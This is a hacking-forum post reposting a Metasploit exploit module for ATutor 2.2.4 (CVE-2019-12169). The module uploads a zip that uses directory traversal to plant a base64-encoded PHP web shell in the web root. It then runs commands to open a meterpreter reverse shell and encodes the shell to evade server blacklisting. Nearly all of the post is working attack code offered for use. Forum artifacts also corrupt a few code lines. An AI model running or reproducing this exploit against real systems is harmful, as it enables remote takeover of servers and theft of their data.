Hoşgeldin Misafir

ATutor 2.2.4 Directory Traversal / Remote Code Execution Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
ATutor 2.2.4 Directory Traversal / Remote Code Execution Exploit--


Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability together with
          a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in
          order to execute arbitrary commands.
 
          It first creates a zip archive containing a malicious PHP file. The zip
          archive takes advantage of a directory traversal vulnerability that will
          cause the PHP file to be dropped in the root server directory (`htdocs`
          for Windows and `html` for Linux targets). The PHP file contains an
          encoded payload that allows for remote command execution on the
          target server. The zip archive can be uploaded via two vectors, the
          `Import New Language` function and the `Patcher` function. The module
          first uploads the archive via `Import New Language` and then attempts to
          execute the payload via an HTTP GET request to the PHP file  in the root
          server directory. If no session is obtained, the module creates another
          zip archive and attempts exploitation via `Patcher`.
 
          Valid credentials for an ATutor admin account are required. This module
          has been successfully tested against ATutor 2.2.4 running on Windows 10
          (XAMPP server).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'liquidsky (JMcPeters)', # PoC
            'Erik Wynter' # @wyntererik - Metasploit
          ],
        'References' =>
          [
            ['CVE', '2019-12169'],
            ['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC
          ],
        'Platform' => %w[linux win],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' =>
        [
          [ 'Auto', {} ],
          [
            'Linux', {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'CmdStagerFlavor' => :printf,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows', {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win',
              'CmdStagerFlavor' => :vbs,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2019-05-17',
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`
        },
        'DefaultTarget' => 0
      )
    )
 
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
      OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])
    ]
  end
 
  def select_target(res)
    unless res.headers.include? 'Server'
      print_warning('Could not detect target OS.')
      return
    end
 
    # The ATutor documentation recommends installing it on a XAMPP server.
    # By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
    # Apache probably supports more OS keys, which can be added to the array
    target_os = res.headers['Server'].split('(')[1].split(')')[0]
 
    fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os
 
    case target_os
    when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
      @my_target = targets[1]
    when 'Win32', 'Win64'
      @my_target = targets[2]
    else
      fail_with(Failure::NoTarget, 'No valid target for target OS')
    end
 
    print_good("Identified the target OS as #{target_os}.")
  end
 
  def check
    vprint_status('Running check')
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
 
    unless res
      return CheckCode::Unknown('Connection failed')
    end
 
    unless res.code == 302 && res.body.include?('content="ATutor')
      return CheckCode::Safe('Target is not an ATutor application.')
    end
 
    res = login
    unless res
      return CheckCode::Unknown('Authentication failed')
    end
 
    unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
      return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
    end
 
    print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")
 
    ver_no = nil
    html = res.get_html_document
    info = html.search('dd')
    info.each do |dd|
      if dd.text.include?('Version')
        /(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text
      end
    end
 
    @version = ver_no
    unless @version && [email protected]_s.empty?
      return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
    end
 
    @version = Gem::Version.new(@version)
    unless @version <= Gem::Version.new('2.4')
      return CheckCode::Unknown("Target is ATutor with version #{@version}.")
    end
 
    CheckCode::Appears("Target is ATutor with version #{@version}.")
  end
 
  def login
    hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
    @token = Rex::Text.rand_text_alpha_lower(5..8)
    hashed_pass << @token
    hash_final = Rex::Text.sha1(hashed_pass)
 
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
    return unless res
 
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'vars_post' =>
      {
        'form_login_action' => 'true',
        'form_login' => datastore['USERNAME'],
        'form_password' => '',
        'form_password_hidden' => hash_final,
        'token' => @token,
        'submit' => 'Login'
      }
    )
 
    return unless res
 
    # from exploits/multi/http/atutor_sqli
    if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
      @cookie = "ATutorID=#{Regexp.last_match(4)};"
    else
      @cookie = res.get_cookies
    end
 
    redirect = URI(res.headers['Location'])
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, redirect),
      'cookie' => @cookie
    })
 
    res
  end
 
  def patcher_csrf_token(upload_url)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => upload_url,
      'cookie' => @cookie
    })
 
    unless res && (res.code == 200 || res.code == 302)
      fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
    end
 
    html = res.get_html_document
    csrf_token = html.at('input[@name="csrftoken"]')
    csrf_token = csrf_token['value'] if csrf_token
 
    max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')
    max_file_size = max_file_size['value'] if max_file_size
 
    unless csrf_token && csrf_token.to_s.strip != ''
      csrf_token = [url=https://www.turkhacks.com/member.php?action=profile&uid=28725]@token[/url] # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token
    end
 
    unless max_file_size && max_file_size.to_s.strip != ''
      max_file_size = '52428800' # this seems to be the default value
    end
 
    return csrf_token, max_file_size
  end
 
  def create_zip_and_upload(exploit)
    @pl_file = Rex::Text.rand_text_alpha_lower(6..10)
    @pl_file << '.php'
    register_file_for_cleanup(@pl_file)
    @header = Rex::Text.rand_text_alpha_upper(4)
    @pl_command = Rex::Text.rand_text_alpha_lower(6..10)
    # encoding is necessary to evade blacklisting on server side
    @pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")
 
    if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?
      @traversal_path = datastore['FILE_TRAVERSAL_PATH']
    elsif @my_target['Platform'] == 'linux'
      @traversal_path = '../../../../../../var/www/html/'
    else
      # The ATutor documentation recommends Windows users to use a XAMPP server.
      @traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'
    end
 
    @traversal_path = "#{@traversal_path}#{@pl_file}"
 
    # create zip file
    zip_file = Rex::Zip::Archive.new
    zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")
    zip_name = Rex::Text.rand_text_alpha_lower(5..8)
    zip_name << '.zip'
 
    post_data = Rex::MIME::Message.new
 
    # select exploit method
    if exploit == 'language'
      print_status('Attempting exploitation via the `Import New Language` function.')
      upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')
 
      post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")
      post_data.add_part('Import', nil, nil, 'form-data; name="submit"')
    elsif exploit == 'patcher'
      print_status('Attempting exploitation via the `Patcher` function.')
      upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')
 
      patch_info = patcher_csrf_token(upload_url)
      csrf_token = patch_info[0]
      max_file_size = patch_info[1]
 
      post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')
      post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
      post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
      post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
      post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
    else
      fail_with(Failure::Unknown, 'An error occurred.')
    end
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => upload_url,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => @cookie,
      'headers' => {
        'Accept-Encoding' => 'gzip,deflate',
        'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"
      },
      'data' => post_data.to_s
    })
 
    unless res
      fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
    end
 
    unless (res.code == 200 || res.code == 302)
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end
    print_status("Uploaded malicious PHP file #{@pl_file}.")
  end
 
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(@pl_file),
      'cookie' => @cookie,
      'vars_get' => { @pl_command => cmd }
    })
  end
 
  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super
 
    res = login
    if target.name == 'Auto'
      select_target(res)
    else
      @my_target = target
    end
 
    # There are two vulnerable functions, the `Import New Language` function and the `Patcher` function
    # The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`
    create_zip_and_upload('language')
    print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
 
    if @my_target['Platform'] == 'linux'
      execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
    else
      execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
    end
    sleep(wfs_delay)
 
    # The only way to know whether or not the exploit succeeded, is by checking if a session was created
    unless session_created?
      print_warning('Failed to obtain a session when exploiting `Import New Language`.')
      create_zip_and_upload('patcher')
      print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
      if @my_target['Platform'] == 'linux'
        execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
      else
        execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
      end
    end
  end
end
 
#  0day.today [2020-07-02]  #